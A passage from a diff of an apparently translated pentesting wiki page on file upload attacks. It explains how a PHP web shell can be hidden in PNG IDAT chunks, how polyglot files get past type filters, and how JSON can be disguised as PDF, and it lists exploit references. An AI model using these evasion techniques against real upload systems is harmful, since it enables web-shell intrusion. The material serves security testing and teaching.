Shellがこれらの処理の影響を受けずに残ることは、特定のユースケースで大きな利点です。 +Embedding a PHP shell in the IDAT chunk of a PNG file can effectively bypass certain image processing operations. The functions `imagecopyresized` and `imagecopyresampled` from PHP-GD are particularly relevant in this context, as they are commonly used for resizing and resampling images, respectively. The ability of the embedded PHP shell to remain unaffected by these operations is a significant advantage for certain use cases. -この技術の手法や応用可能性を含む詳細な解説は、次の記事で提供されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースはプロセスとその影響を包括的に理解するのに役立ちます。 +A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). This resource offers a comprehensive understanding of the process and its implications. More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Polyglot Files -Polyglot filesはサイバーセキュリティにおけるユニークなツールであり、複数のファイル形式として同時に有効に存在できるカメレオンのように振る舞います。興味深い例としては[GIFAR](https://en.wikipedia.org/wiki/Gifar)があり、これはGIFとRARアーカイブの両方として機能するハイブリッドです。このようなファイルはこの組み合わせに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。 +Polyglot files serve as a unique tool in cybersecurity, acting as chameleons that can validly exist in multiple file formats simultaneously. An intriguing example is a [GIFAR](https://en.wikipedia.org/wiki/Gifar), a hybrid that functions both as a GIF and a RAR archive. Such files aren't limited to this pairing; combinations like GIF and JS or PPT and JS are also feasible. -ポリグロットの主要な有用性は、ファイルの種類に基づいてファイルをスクリーニングするセキュリティ対策を回避できる点にあります。多くのアプリケーションでは、潜在的に危険な形式(例: JS、PHP、または Phar files)によるリスクを軽減するために、JPEG、GIF、またはDOCのような特定のファイルタイプのみをアップロード可とするのが一般的です。 +The core utility of polyglot files lies in their capacity to circumvent security measures that screen files based on type. Common practice in various applications entails permitting only certain file types for upload—like JPEG, GIF, or DOC—to mitigate the risk posed by potentially harmful formats (e.g., JS, PHP, or Phar files). However, a polyglot, by conforming to the structural criteria of multiple file types, can stealthily bypass these restrictions. -適応性が高い一方で、polyglotsには制限もあります。例えば、あるpolyglotが同時にPHAR file (PHp ARchive)とJPEGを具備していても、アップロードの可否はプラットフォームのファイル拡張子ポリシーに依存する可能性があります。システムが許可される拡張子に厳格であれば、polyglotの構造上の二重性だけではアップロードを保証できないかもしれません。 +Despite their adaptability, polyglots do encounter limitations. For instance, while a polyglot might simultaneously embody a PHAR file (PHp ARchive) and a JPEG, the success of its upload might hinge on the platform's file extension policies. If the system is stringent about allowable extensions, the mere structural duality of a polyglot may not suffice to guarantee its upload. More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### JSONをPDFのふりをしてアップロードする方法 +### Upload valid JSONs like if it was PDF -許可されていない場合でも有効なJSONファイルをPDFとして偽装してアップロードすることでファイルタイプ検出を回避する方法(**[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**からの技術): +How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: 最初の1024バイト以内に`%PDF`のマジックバイトがあれば有効です(例は記事参照) -- **`pdflib` library**: JSONのフィールド内に偽のPDFフォーマットを入れることでライブラリにPDFだと判断させる(例は記事参照) -- **`file` binary**: ファイルから最大1048576バイトを読み取れます。これより大きなJSONを作成して内容をjsonとして解析できなくさせ、JSONの中に実際のPDFの先頭部を入れれば、それをPDFだと判断します +- **`mmmagic` library**: As long as the `%PDF` magic bytes are in the first 1024 bytes it’s valid (get example from post) +- **`pdflib` library**: Add a fake PDF format inside a filed of the JSON so the library thinks it’s a pdf (get example from post) +- **`file` binary**: It can read up to 1048576 bytes from a file. Just create a JSON bigger than that so it cannot parse the content as a json and then inside the JSON put the initial part of a real PDF and it’ll think it’s a PDF -## 参考 +## References - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) @@ -329,5 +358,8 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) - [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) +- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546) +- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca) +- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) {{#include ../../banners/hacktricks-training.md}}